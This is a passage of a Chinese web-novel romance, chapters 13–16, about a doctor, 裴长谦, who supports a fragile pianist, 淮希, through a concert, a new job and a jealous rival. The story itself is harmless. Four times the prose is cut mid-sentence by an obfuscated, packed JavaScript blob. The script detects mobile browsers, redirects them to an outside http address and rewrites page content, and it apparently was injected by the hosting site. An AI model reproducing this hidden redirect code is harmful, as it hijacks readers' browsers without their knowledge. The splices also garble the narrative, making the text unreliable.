“嗯,”淮希把羽绒服拉链拉到最顶端,半张脸埋进衣领里,轻轻皱一下鼻子说,“把我拍的不好看。” 裴长谦想不明白哪里不好看。 但还是说:“我会试着练习一下拍照能力。” 晚上回到家,他把淮希唯一满意的那张照片发给对方。 之后又回到相册里的最近删除,将被淮希删掉的那几张照片恢复,存进私密相册。 …… 淮希的食欲慢慢稳定后,就没有那么挑食,只吃得下裴长谦做的饭了。 家附近有几家饭馆,口味清淡,还带有松月市那边的特色,他觉得味道也可以。 有时候,比如排得很满的手术日,裴长谦真的忙得中午都抽不开身,淮希就会自己点餐。 但裴长谦趁午饭时间和淮希发几条消息的空闲还是有的。 他总会问淮希自己点了些什么,要淮希把饭菜拍给他看。 如果时间还算充足的话,裴长谦还会向淮希要一张吃过之后的食物的照片。 他通过前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴长谦跟人不亲近,始终保持着距离感。 科室同事们都在聊自己的家庭,聊八卦的时候,他总是最沉默,眼里只有工作和学习。 赵主任跟裴长谦之前的导师认识,特意了解过,知道裴长谦是因为身边没什么家人朋友,对这类话题没什么好聊的。 一起共事好几年,赵主任自认也算裴长谦的长辈,心里替他挂念着这事。 他吃得差不多了,擦了擦嘴继续说:“年轻人都流行拿对象当壁纸,你倒好,把朋友放手机上天天看着,还能看出老婆来?” 裴长谦也放下了筷子,闻言神情怔了怔,眼中多出分疑惑。 “不信?问问你学生是不是。”赵主任朝坐在对面的男生示意。 男生笑着把自己的手机屏幕按亮,快速给他俩看了一眼。 屏幕上是一位手上捧着花,对着镜头笑得很明媚的女孩。 “我女朋友,谈了好几年了,”男生害羞地说,“我们准备毕业就结婚呢。” 赵主任摊手:“看看。” 裴长谦眸光闪烁了几下,不知道在想什么。 他把淮希的照片设成手机壁纸时没想那么多,只是想弄就弄了。 “你朋友有对象没?”赵主任想到一个好主意,拍了拍裴长谦问,“要不我给你俩一起介绍介绍?” 他语重心长地劝裴长谦:“你也老大不小了,该想想家庭了。” 裴长谦耳朵里只听到了第二句话。 他回过神来,抬眼,正色地说:“不急,主任,我朋友也不急。” 13. 十三 第十三章 晚上八点半,裴长谦结束一天的工作回到家。 客厅里很暗,只有沙发旁边隐约透出微弱的光,裴长谦看到两只裹着绒袜的脚搭在沙发边缘。 他以为淮希睡着了,就收回准备开灯的手。 黑暗中传来衣物的窸窣声,裴长谦脱掉外套换了鞋,慢慢走到沙发旁。 淮希整个人趴在沙发上,腰塌下去显得很薄,一截很软的毛毯搭在上面。 他一只手臂被当做枕头压着,另一只手垂落在地毯上,手机被捏在指尖,屏幕还亮着。 他没有睡,只是在闭着眼睛想事情。 感受到裴长谦的身影靠近后,就轻轻动了动,睁开眼。 “你回来了。”淮希拿好手机,把随意垂落的手收回沙发上。 “嗯。”裴长谦提醒他捂一下眼睛,然后开了客厅的大灯,“怎么不去床上躺着?” 又说:“看手机的时候要开灯。” 淮希只看了一小会儿,眼睛没有感到疲惫。 他点点头,表示知道了。 淮希躺的时间有些久,人似乎不太清醒,行动也显得迟缓。 他慢吞吞从沙发上坐起来时,裴长谦下意识俯身,用掌心托在他腰侧。 但淮希自从精力和情绪好起来之后,就没再要求过让裴长谦抱他了。 那只手在纤细的腰上短暂地握了一下,然后收起搭在上面的毯子叠放整齐,防止淮希起身时被绊到。 “饿吗?” 裴长谦晚上吃的是在医院旁边便利店买的三明治,之后又做了场手术才下班,现在胃里已经空了。 淮希晚上也没怎么吃,不过他吃过饭就趴进沙发里了,所以现在不感到饿。 但想到裴长谦的厨艺,淮希点一下头:“有一点。” “我去洗个澡,然后做点宵夜。”裴长谦说完,就往次卧的方向去了。 淮希站在原地,慢吞吞伸了个懒腰,也跟过去。 裴长谦没关门,房间里开着灯,淮希拖着脚步进去,嘴上喊着:“裴长谦。” 淮希随和的性格体现在方方面面。 他不是多么需要距离感的人,一旦和身边人熟悉后,就更难再花精力去维持。 从小到大,一直到他二十多岁,父母仍可以随意进出他的卧室。 住寝室的时候,关系好的室友可以不经允许用他的东西,坐他的床,只要不是带着恶意,淮希都不会在意。 他与谁越熟悉,这样的特性会越明显。 最近,淮希除了不介意裴长谦随时进出主卧,和他躺在一张床上休息之外,还经常穿错裴长谦的衣服,用错裴长谦的水杯……甚至跟在裴长谦身后,进入对方的卧室。 淮希记得裴长谦有洁癖和强迫症。 一开始,他的确会在不小心用错水杯后,担心裴长谦会嫌弃,把杯子细细地洗上好几遍去找裴长谦道歉。 但裴长谦每次都没有生气。 还会淡淡地说,这有什么,两个人住在一起混用水杯很正常。 几次下来,淮希很快就不考虑那么多了。 次卧的浴室门开着,里面也开了灯,裴长谦正站在柜子前取洗完澡要穿的家居服。 淮希进来后,他就把衣物放在一边,等淮希说话。 淮希手里捏着手机,走到裴长谦身边,拧眉说:“我有点纠结。” 他一侧脸颊上有片红痕,是刚才枕在自己手臂上压出来的。 脑后微微卷曲的头发也被蹭乱,显得更加柔软。 裴长谦目光沉静地看着淮希,他有十足的耐心等淮希慢慢跟他讲。 “有一个慈善演出,刚才联系我,”淮希语速慢慢的,“很巧,就在我第一次来临阳市那个剧院,比较近。” 他抬眼问裴长谦:“你说我要不要去?” 几乎和裴长谦的独立果断完全相反,淮希是一个不够有主见的人。 这是他性格里的缺陷。可能是自幼体弱的原因,也可能是淮父淮母太过宠爱他的原因。 淮希从小有什么事都会和父母倾诉。 做决定时,即使心里已经有了偏向,也要问一下爸妈。 他对一切事物都没有强烈的执念。想去做,但是不做也可以。 所以需要有人在背后推一把。 裴长谦还是没忍住,用指节轻轻把淮希胡乱翘起的发尾捋顺。 “你想去吗?”他语气轻松地问。 淮希诚实地点头。 想去,但有些顾虑。 他怕自己发挥失常,把事情搞砸。 妈妈去世前,也许是心里只想着赚钱,多难的演出淮希都硬着头皮去了。 现在没有非去不可的理由,他回想起自己之前糟糕的状态,不可避免变得缩手缩脚。 “那就去,”裴长谦说,“你弹得那么好。” 他又问:“去的话,是不是需要提前练琴?” 淮希“嗯”了一声:“小区附近有琴行。” 他们一起出门时,淮希看到过。 裴长谦不再说话,转过身去。 对方三两句话,就这么帮他做下了决定,淮希神情还有些呆。 裴长谦上身只穿了一件半高领打底,他准备脱掉了,回头看淮希还立在原地。 “淮希,”裴长谦喊了他一声,“我要先洗澡了。” “哦。”淮希回过神来。 看向裴长谦的时候,对方的手已经抓起衣摆,露出腰带扣和半遮半掩的强健腰腹。 淮希看到上面的腹肌很明显。 淮希走出次卧,不忘给裴长谦带上门。 他回到客厅沙发上,坐在那里回复了演出联系人的消息。 聊完放下手机后,淮希又发了会儿呆,然后低头掀起自己的衣服,露出一截肚子。 十分平坦。 除非非常用力,才能勉强有一点轮廓。 淮希又一声不吭把衣服放下来,整理好。 他太佩服裴长谦的身体和精力了。 每天工作那么累,还能把身材练得那么好。 …… 裴长谦做了鸡丝面。 他的是满满一碗,淮希的是半碗,两碗上面都铺着青菜和一颗荷包蛋。 很普通的家常味道,淮希吃得很投入,最后捧着碗,把汤也慢慢喝掉了。 刚吃饱不能立刻睡觉,两个人待在客厅消食。 淮希以为关于演出的事已经聊完了,没想到裴长谦又接上了之前的话题。 “我有个朋友,他准备出国,家里有架钢琴搬不走,所以想暂时寄存在我们这里。” 裴长谦从手机里翻出钢琴的照片,给淮希看。 是一架很好的钢琴。 这个品牌在业内口碑很好,淮希之前也有一架,后来和家里的房子一起卖掉了。 他怀疑地看向裴长谦:“这么巧?” 他刚说需要练琴,就有人要寄存钢琴过来。 淮希有点害怕这琴是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310225|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴长谦买的。 因为这架琴即使是二手的也很贵。 裴长谦挑眉:“不相信?” 为了求证,裴长谦决定当场就给那位朋友打个电话。 现在时间有些晚了,很可能会打扰到对方。 裴长谦先发了消息问过,得到肯定回复后,才将电话拨过去。 “你的琴打算在我这里放多久?”电话接通后,裴长谦按下免提,语气自然地问。 “是裴先……长谦啊,”对面传来一位中年男性的声音,他笑了笑道,“说不清楚啊,能放多久就放多久吧。” 裴长谦抬眸看了淮希一眼。 淮希神情严肃盯着他的手机,听得很认真。 “说实话,那琴是我一时冲动买的,一年也没弹上几次。” 电话那边继续说:“我就算一起运走,放那边家里也是个摆设,没必要废那么大功夫。” 他语气满不在乎道:“你不嫌碍事的话,就先在你那放着?或者你帮我二手卖了也行。” 裴长谦随意应了几声挂掉电话时,淮希的神情已经放松下来,显然是相信了。 裴长谦知道直接买琴的话,淮希会有很大的心理负担,这是他绝不想造成的。 这架钢琴真正的主人是一位老太太,常年独居。 年纪上来后,老太太在国外工作的儿子不放心,就打算将母亲接到国外照顾。 老太太喜爱弹琴,也很爱惜这架钢琴,一直将琴保养得很好。 但她快弹不动了。 与其让琴跟着她漂洋过海受罪,不如给琴找一位更合适的主人。 裴长谦全然不懂琴。 他在看到淮希在商场弹琴后,开始着手去办这件事。 了解了不少资料,又经过层层关系,才找到这位很不情愿卖琴的老太太。 裴长谦能找到她很不容易,可见诚意。 老太太这才愿意卖给他,还派自己的儿子来配合裴长谦演这一出戏。 “谢谢你。”淮希轻声说。 他的眼睛很明亮,直直地望着裴长谦:“我好幸运。” 裴长谦眼底有很浅的笑意,他起身进了书房,拿出来平板和一些纸质材料。 “我打算把杂物间改成隔音房,”男人将材料罗列在淮希面前,说,“这是几个设计方案,你看哪个合适?” “家里没有空余的房间,杂物间是最合适的,里面常年没什么东西,和空着差不多。” 裴长谦补充道。 他买东西太有条理,很少囤东西,也很少买不用的东西。 所以杂物间用处不大,很容易腾出来。 淮希低头看着茶几上的材料,眉间再次皱起。 他住在这所房子里,和为了他直接改这所房子,性质有很大差别。 只是前者,淮希就觉得足够打扰裴长谦了。 他皱紧眉,看了眼裴长谦,不知道该怎么说。 “上次听你弹琴,真的很好听,我还挺喜欢的。” 裴长谦适时开口,语气好似很随意道:“这个房子很宽敞,把杂物间换成琴房对我没什么影响,而且即使你以后搬走了,我们还可以常来往,你来这里的时候还能弹琴。” 这么一说,淮希心中顿时轻松不少。 他很快点点头:“我会常来的,你想听的时候也可以联系我。” 他一定要让裴长谦听回本。 裴长谦垂下眼,“嗯”了一声:“好了,来选一选方案吧。” 14. 十四 琴房很快装修好,装修材料选取得很严格,也做了除甲醛处理。 淮希每天练琴的时长很不稳定。 有时候一整个白天都待在房间里,需要裴长谦发消息提醒他注意通风透气;有时候不想弹,就不会摸琴一下,懒懒地窝在书房或阳台,做别的事。 裴长谦不在家时,第一种情况多一点。 裴长谦偶尔休息一天或者半天,待在家里,淮希就会每隔一个小时左右,从琴房里慢悠悠溜达出来,满屋子找裴长谦的身影。 裴长谦多数是待在客厅或书房工作学习。 淮希找到他之后,也不会打搅他,只是蜷在旁边的沙发上睡觉或发呆。 第一次的时候,裴长谦还当淮希有事才来找他。 之后,他就会在旁边准备好零食或水果,方便淮希过来休息时,觉得无聊可以吃。 这天下了雪,外面到处都是茫茫白色,室内也被映得明亮。 裴长谦坐在客厅沙发上看书,茶几上摆着小茶壶,两杯花茶萦绕热气。 琴房门打开,淮希无精打采地从里面出来。 他精力和体力还是太差,连续练了一个半小时,就弹得烦了,手都不想再抬。 听到脚步声离自己越来越近,裴长谦翻着手里的书,没有抬头。 淮希躺倒在他旁边的沙发上,腿自然地跟着蜷缩上去,脑袋一埋,两只手臂无力垂落在沙发边缘。 裴长谦抬眼注意到,不禁皱起眉:“手疼了吗?” 淮希抬起脸看他,眼尾耷拉着。 “不疼,有点累,我要歇一下。” 淮希常年练琴,手指力量不差,只要掌握了正确的发力姿势,不练特别久的话一般都不会疼。 但淮希很容易手臂累,每次弹完琴后手指也会不想动。 裴长谦放下书:“我给你按按吧。” 他说着朝前坐了坐,和淮希离得更近一些。 淮希露出诧异的神情:“你还会按摩吗?” “嗯。”裴长谦朝他伸出手,淮希先递了一只过去。 裴长谦说:“以前轮转的时候,接触过一点推拿手法。” 淮希弹琴,手指偏长,裴长谦的居然比他还长一点,整个手掌也比他大一圈,厚实有力。 推拿力道讲究舒缓适中,裴长谦给淮希按得更谨慎些。 淮希的手指看起来纤细脆弱,但裴长谦用指腹揉捏着,能感受到韧劲,他才慢慢加深了力道。 淮希觉得自己的手不好看。 指尖比一般人更圆润,为了方便弹琴,指甲也总是很秃。 裴长谦按得很专注,目光一瞬不瞬落在他手指上。 淮希勾了勾指尖,在裴长谦掌心划过一下,他开口问:“是不是有点丑?” 裴长谦抬眼,按摩的动作跟着停下。 “不丑。”他捏一下淮希乱动的那只手指说。 又换一只手按了五分钟,裴长谦松开淮希站起身,说去趟卫生间。 淮希自己躺回沙发上活动手指。 裴长谦关上洗手间的门后,在洗手台前站了片刻,然后打开凉水洗了把脸。 冬天很干燥,淮希每次弹琴都会涂护手霜。 裴长谦洗完脸,擦干脸和手上的水珠后,还能在指腹间嗅到清甜的果香。 …… 演出当天,时间安排是下午两点到六点,淮希需要上午就到,提前彩排。 裴长谦还得上班,没办法陪他,只答应晚上过来接淮希。 演出结束后,淮希抱着好几束鲜花回到后台,陆续有人来找他合影留念。 拍完照,淮希换掉演出服,裹好自己的羽绒服,从音乐厅后门出去,看看裴长谦来了没有。 上次来这里演出,淮希发着高烧,浑浑噩噩,也是从这道门出来。 这次站在台阶下,没几分钟,他在一片昏暗中看到了熟悉的身影。 裴长谦也给他带了一束花。 男人走到淮希跟前,神情有些严肃:“怎么在外面等?” 淮希把下巴往衣领里埋了埋,轻声说:“只等了两三分钟,你就来了。” 后台里面暖气很足,淮希的脸颊还泛着红,比较有说服力,裴长谦就没再追究。 他把花束递给淮希:“辛苦了。” “谢谢。”淮希低头闻花的时候,水亮的眼睛里有浅浅的笑意,“好香。” 淮希的背包还在里面,两人一起返回去取。 花束挺沉的,上楼的时候,那束花又回到裴长谦怀里。 淮希走在他身边,语速慢吞吞地小声说着话:“我很怕弹不好,彩排的时候手还很僵硬,但好在正式演出的时候比较顺利。” 裴长谦听到顺利完成时,心中暗自松了口气。 淮希在鼓起勇气一步步向外迈步,逐渐回到从前健康的状态,裴长谦比谁都不希望淮希遭受打击。 “中午吃了多少饭,”他偏头问淮希,“合不合胃口?” 淮希神情愣了一下。 先前还不觉得,裴长谦一问,他才发觉肚子都饿得塌下去了。 淮希中午真没吃多少,他撇着嘴摇头,小声跟裴长谦吐槽:“盒饭不好吃。” “想想晚上想吃什么,”裴长谦很轻地笑了笑,“我们路上先去买菜,再回家。” 淮希“嗯”了一声。 后台房间的灯光很亮,找到背包后,淮希没着急走,想和裴长谦合一张影。 先让裴长谦给他拍抱着花的单人照。 拍完后,淮希凑过去检查,发现裴长谦的拍照水平没有丝毫进步。 淮希淡淡抬眸看向裴长谦。 两人对视一眼,裴长谦不自然地偏开视线,拿过手机低声:“我再拍几张试试。” “先把这些都删掉。”淮希说。 裴长谦点头,正删着照片,听到有人走过来叫淮希的名字。 “淮希?真的是你。” 一个瘦高的男人,看起来不到三十岁,大衣里面穿着西装,梳着显得很成熟的背头。 淮希看到对方,神情茫然了好几秒,然后记起来对方是谁。 “淮希,你怎么在这呢?”男人的神情很惊喜。 “我来演出。”淮希说。 “我是来这儿见客户的,”男人笑着指了指门外,“从外面路过,看见一个人影像你,没想到还真是。” 他打量了一下淮希:“一晃眼好多年没见了,你厉害呀,这场慈善演出可不一般。” 淮希神情没什么变化,看了站在他身边的裴长谦一眼。 男人这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310226|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才注意到淮希旁边的人,忙礼貌地问:“这位是?” “裴长谦,”裴长谦朝他伸出手,“淮希的朋友。” 男人跟他握了一下:“我是范文皓,淮希的发小,我俩从小一起长大的。” 裴长谦眸色冷下去,神情不变地收回手。 淮希不禁抬眸看向范文皓,心中觉得对方的说法不太恰当。 他和范文皓是从初中时期认识。 那时范文皓的妈妈和淮希的妈妈在同一所中学教书,两人是同事,恰好家也住的不远,逐渐就熟络起来。 两家隔三差五互相串门,淮希和范文皓就认识了。 但淮希那时性子就冷淡,比起交朋友,更喜欢独处。 说是互相串门,其实是范文皓跟着他妈妈来淮希家里的次数多,淮希因为不爱出门,很少去他们家。 而且那时范文皓性格大大咧咧,活泼话多,淮希喜静,两人不怎么合得来。 即使听大人们的话凑在一块玩,也很少交流。 见面次数最多的时候,应该就是淮希高一那年。 两人高中同校,范文皓比淮希大两岁,淮希高一的时候他高三。 每天在同一个校园里上学读书,难免会碰到,但也仅仅只是照面打个招呼的程度。 后来范文皓考上了很远地方的大学,他们一家人都搬了过去,两家的联系变得越来越少,很快就断了。 所以范文皓说是发小,淮希觉得有点夸张。 “你们在拍照吗?”范文皓在门外时看到了两人拍照的画面,这时热心道,“我给你们拍吧?” 淮希和裴长谦本来也打算找人帮忙拍合照。 裴长谦把手机递给范文皓,和淮希站在一起。 范文皓拍完后,又把自己的手机递给裴长谦,笑道:“麻烦裴先生帮我和淮希也拍一张吧,真没想到我们能在这儿重逢。” 他说着走到淮希身边,抬起胳膊揽住了淮希的肩膀。 裴长谦面无表情站在两人对面举起手机。 他拍的很快,几乎只有两秒钟,就说拍好了。 范文皓接过手机去看照片,裴长谦已经走过去,拿走了淮希怀里的花束。 “诶?裴先生,你怎么没把我的脸拍全?” 范文皓来回翻了翻相册,确定裴长谦只给拍了这一张,抬头问。 裴长谦声音平稳:“不好意思,我拍照技术很不好。” 范文皓不禁皱眉看向淮希。 淮希没看照片,不知道拍的有多差,但他了解裴长谦的拍照水平,于是迟缓地点了一下头表示赞同。 范文皓只好说:“那再拍一张吧。” 裴长谦把淮希的背包搭在一边肩膀上,又用那只手抱住花束,腾出的一只手臂就可以搂在淮希的肩膀上。 “下次吧,”他说,“淮希还没吃晚饭。” 范文皓本来在不满照片的事,听见这话眼神一亮。 “正好啊,我请你们去吃顿好的,我们顺带叙叙旧。” 裴长谦再次拒绝:“不了,他只吃得下我做的饭。” “……” 范文皓看向裴长谦的神情变得复杂,磨蹭几秒,只好道:“那好吧。” 他对淮希说:“我们下次找个机会,再正式见个面吧。” 15. 十五 那场慈善演出结束后,淮希陆续收到一些商业演出的邀约,也有临阳市当地的乐团问他有没有定期合作的意向。 淮希犹豫之后,都没有给肯定回复。 但总归是要开始赚钱了。 一周后,淮希面试了一家钢琴工作室,裴长谦陪他过去。 工作室的总老板是一位快四十岁的男性,做钢琴教育很多年了,已经在临阳市开了三家工作室。 最近刚开第四个,需要招新老师,全职兼职都可以。 新工作室已经有两位有一定资历的老师,都是三十岁左右的年轻女性,之前就和总老板是合作关系。 其中很喜欢看演出的一位,姓崔,她在淮希去面试前就已经听说过淮希的名字,还在去年很巧合地看过一次淮希的钢琴独奏。 她了解淮希毋庸置疑的钢琴实力,风格也是他们工作室所稀缺的,但不清楚淮希的性格怎样。 淮希刚走进面试的办公室,交流了不到五分钟,她就看出淮希的性格很冷淡,人太安静,不擅长沟通,不禁有些犹豫。 但考虑到淮希毕业院校太优秀,做私教以及参加演出的经历也很丰富,在交流之后,决定先让淮希过去试课。 淮希是冷淡了些,但这也说明他情绪波动小。 淮希自己弹琴时都从不气恼,弹烦了的时候顶多就是起身不弹了。 面对学生,他也是一样稳定,压根就不是会发脾气的人。 淮希在做私教期间,遇到过各种各样的学生,积攒不少教学经验。 他说话少,声音轻,但每一句都恰到好处,很顺利地完成了这场试课。 试课结束后,崔老师面带笑容,带淮希去签合同。 淮希签的是兼职合同,周一到周五下午上班,周六需要上一整天,周日休息。 薪酬有底薪和分成,没有五险一金。 淮希在教室里试课的时候,裴长谦站在房外的走廊,隔着玻璃窗看淮希坐在钢琴前的背影。 淮希正微微低头给学生讲解,侧脸冷然,骨节分明的手指随意在琴键上跳动几下,细小的动作舒展而有魅力。 工作室的总老板端着两杯咖啡走过来,递给裴长谦一杯:“别嫌弃。” “谢谢。”裴长谦收回目光,接过一次性纸杯说。 老板顺着裴长谦的视线去看淮希,笑问:“裴先生是淮老师的哥哥?” 裴长谦喝咖啡的动作顿了一下,似是疑惑老板怎么会这样问。 “不是,”他面色沉稳道,“只是朋友。” 老板抱歉地笑了笑:“不好意思,我看他面试,反而是你更紧张,还以为你们是亲兄弟。” 裴长谦微微摇头,示意对方不用放在心上,之后没再讲话。 淮希签完合同出来后,和裴长谦站在一起,与老板和两位老师道别。 这天是周六,他下周一开始正式上班。 两人走到电梯处,裴长谦按了按钮,趁着等电梯的功夫,把手里拿的围巾给淮希戴上。 “外面冷,提前戴好。” 他让淮希低头,淮希“嗯”了一声,配合地垂下脑袋。 参加那场慈善演出前,淮希就把微长的发尾剪掉了,现在的头发长度刚刚好,低头时会露出完整的白皙脖颈。 裴长谦戴围巾的方法是最丑的一种,来来回回缠上好几圈,一直缠到不能缠为止。 但也是最保暖的一种方式。 淮希已经懒得抗议了,他在裴长谦缠完后抬手往下用力压一压,把下巴和嘴唇露出来透气。 戴好后,电梯门也开了,裴长谦拿过淮希手里的提包,两人一前一后进电梯离开。 站在不远处的两人看了全程,崔老师好奇地问老板:“那是淮老师的男朋友吧?” 现在同性恋爱已经越来越被大众接受,变成稀松平常的事。 老板摇头:“不是,人家说只是朋友。” 崔老师挑眉,“噢”了一声:“不是啊。” …… 晚上,淮希在睡前收到了范文皓发来的消息。 范文皓想找到淮希的联系方式不难。 他们高中有校友群,又曾经生活在同一片地方,很容易就能找到共同认识的人。 淮希的手机号码没有换过,微信账号和手机号码一样。 范文皓联系上淮希后,还是说见面的事。 淮希其实不太想出门,也觉得和范文皓不够熟。 范文皓发消息道: [上次我们见面后,我跟我妈提起你,她老人家眼睛都红了] [她知道你在临阳,这几天就一直念叨你,非让我好好带你吃顿饭] 淮希暂时没回复,范文皓的消息继续发来: [淮希,你要是不喜欢吃外面的东西,来家里让我妈亲自给你做也行,她肯定高兴] 淮希微微皱眉,之后答应了下来: [不用去家里打扰了,找个餐厅就好] 他们约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310227|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定好时间后,裴长谦洗完澡推门进来。 淮希坐在床边看手机,听到他的脚步声,就抬头说:“我明天需要出个门。” 裴长谦头发偏短,有时候会不吹头发,擦一擦就过来。 他手里拿着毛巾,回身关上卧室门,应道:“嗯,是有什么事吗。” “上次在音乐厅后台见到我一个以前的朋友,叫范文皓,不知道你还记不记得。” 淮希关掉手机,掀被躺进被窝,动作和语速都慢慢的:“他约我见面吃个饭。” 裴长谦沉默片刻,拿半湿的毛巾又去擦发间不存在的水珠。 “记得。” 他擦完后打开了投影仪,在沙发上坐下,又问:“定好时间地点了吗。” “地点还没定,”淮希垫高枕头方便一会儿看电影,一一回答,“时间定在明天晚上了。” 裴长谦手上挑着电影,语气轻松道:“明天周日,我恰好有空,陪你去吧。” 他说完转头看淮希一眼:“可以吗?会不会打扰你们。” 他们看电影大多都是裴长谦选的,淮希心里在期待今晚看什么电影,有点走神。 他点头说:“好啊,我还怕你觉得麻烦。” “不麻烦。”裴长谦选好了电影,关掉房间灯说。 电影播了还不到一小时,淮希就已经蜷躺进被窝里睡着了。 他躺在大床中间,脑袋陷进软枕里。 裴长谦在床边坐下,柔软的床垫缓慢凹陷。 男人俯过身,一手轻轻捧起淮希的脑袋,另一手将淮希用来垫高的枕头抽走。 淮希睡得不沉,脑袋被放回去时,迷迷糊糊睁开眼。 昏暗的房间里,影片的光影变幻着,映照在眼前男人宽阔的肩膀上。 看到坐在床边看自己的人是裴长谦,淮希就又安心地闭上眼。他嘴里轻轻咕哝了一句,似乎是在催裴长谦也去睡觉。 “淮希,”隔着软被,裴长谦轻轻按在了淮希的手腕处,他声音放轻了,闲聊一般,“你喜欢男生还是女生?” “不知道,”淮希睁了一下眼,但视线被睫毛遮挡,他带着困意说,“我没喜欢过谁。” “那就是不讨厌男性,是吗。” “别烦我了裴长谦,”淮希把自己被按住的手腕抽走,皱眉翻了个身背对着裴长谦,软声地埋怨道,“我好困。” 裴长谦没再出声。 他坐在床边等淮希睡熟后,关掉投影离开了房间。 16. 十六 淮希第二天早上醒来时,裴长谦已经去医院了,他今天上午需要坐门诊。 平躺在床上,四肢舒展,软被搭在身上的感受很舒适。 淮希赖了一会儿床,想起来摸出手机,提前跟范文皓商量,晚上裴长谦也会去。 说完后,他又记起昨晚快睡着时,裴长谦坐在床边跟他说话。 淮希攥着手机愣了片刻,才记起裴长谦问的什么,自己又是怎么回答的。 他感到一丝古怪,觉得裴长谦的问题没由来。 房里开了一整夜暖气,让人感到烦闷。 淮希掀开被子下床,将阳台窗户打开一条缝隙。 冷空气顺着窗缝渗进来,呼吸变得清爽多了。 淮希很快忘记那一丝古怪,站在窗边慢腾腾伸了个懒腰,洗漱吃饭。 …… 傍晚,裴长谦开车载淮希,来到范文皓定好的餐厅。 他们停好车时,范文皓也刚好到,三个人一起进去。 范文皓外套里面还是偏商务的西装,他风尘仆仆,应该是刚结束工作直接过来。 “我毕业后在那边干了一年,但后来还是决定来临阳市。” 落座后,范文皓一边点菜一边熟稔地聊起他自己,没让氛围冷场:“换个地方,什么都得从头开始,忙得根本没有节假日。” “但没办法,毕竟这边发展空间大嘛。” 菜上齐,范文皓拿起公筷给淮希夹了一道菜。 “我特意选的这家餐厅,做我们老家那边的几道特色菜特别拿手。” 他笑着看向淮希说:“我记得你喜欢这个吧?小时候我去你家里,有好几次都看见叔叔亲自下厨给你做。你尝尝味道对不对。” 淮希动作有些慢,夹起那道菜放进嘴里。 他神情没什么变化,坐在他旁边的裴长谦眉眼往下压,拿起水杯抿了一口水。 “好吃吗。”范文皓问。 淮希抬眼:“还可以。” 范文皓笑了笑,这才开始自己吃。 他咽下一口菜,再开口时放轻了声音:“你家里的事,我也是最近才知道。” 范文皓皱眉望着淮希道:“你也真是,一句话都不跟我们提。我妈知道了之后,闷闷不乐好几天,特别心疼你。” 淮希放下筷子。 他手边放的是裴长谦给他要的果汁,可以让人胃口好一点,淮希捏着吸管慢慢地喝。 范文皓看着淮希这副不管他说什么都安静寡淡的模样,心中感慨这么多年过去,淮希一点都没变。 其实他心里一直对淮希印象很好。 小时候淮希就总不爱搭理他。 但淮希越冷淡,范文皓越觉得淮希处处都吸引他。 那段时间,范文皓每天都盼望着自己妈妈能有事去找淮希妈妈,没工作上的事,他就缠着他妈妈带他去淮希家做客吃饭。 经常,他走进淮希家里,还没看见人,先听到悦耳的琴声。 但淮希性格怪,家里一有客人,他就不想弹了。 范文皓就撇开大人,追上窝在角落里的淮希,夸淮希弹的好听,哄淮希继续弹琴给他听。 淮希心情好时,会坐回钢琴前再弹几下。 但大多数时候,还是不爱理人,待不了一会儿就说要回房睡觉。 范文皓那时想,如果他能什么时候想让淮希给他弹琴,淮希就高兴又听话地弹给他听,那该多好。 当年淮希父亲去世的时候,家里公司跟着倒闭,这事不小,周围很多人都知情,范文皓也很快就打听到了这个消息。 但他又想到淮希还有一个重病的母亲。 范文皓觉得自己当时不是不想帮淮希,只是他那时候也刚工作不久,生活不够稳定。 而且他知道淮希娇生惯养,害怕淮希找他借一堆钱,又还不起。所以不敢联系淮希。 这次偶然和淮希在临阳市重逢,范文皓心里觉得自己挺幸运。 淮希成了孤身一人,看气色和状态也从家庭阴影中走出来了。 老天恰好让他在这个时机和淮希重逢,或许是在给他机会。 范文皓观察淮希的表情,淮希没有应他的话,但也没有因为他聊这个话题不高兴。 他就继续轻叹口气道:“阿姨是我见过最温柔的人,淮希,有机会你带我去祭拜一下她吧。” 裴长谦给范文皓没动过的杯子蓄满水,推到他手边,面无表情道:“你说这么多口渴,多喝点水。” “谢谢。” 范文皓拿起杯子喝一口,因为太满,不小心把水漏到西装和裤子上几滴,又忙放下水杯,抽纸巾去擦。 一阵手忙脚乱,范文皓重新拿起筷子时,换了话题。 